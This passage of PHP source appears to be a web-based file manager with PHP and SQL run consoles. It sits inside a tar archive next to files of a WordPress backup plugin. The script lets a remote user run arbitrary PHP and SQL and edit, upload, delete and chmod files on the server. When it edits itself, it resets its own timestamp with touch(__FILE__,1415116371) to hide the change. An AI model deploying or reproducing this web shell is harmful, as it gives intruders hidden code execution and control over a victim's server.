action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> Addons/InstAddonsManager.php 0000644 00000010521 15136236437 0012037 0 ustar 00 <?php /** * Class that collects the functions of initial checks on the requirements to run the plugin * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Addons; use 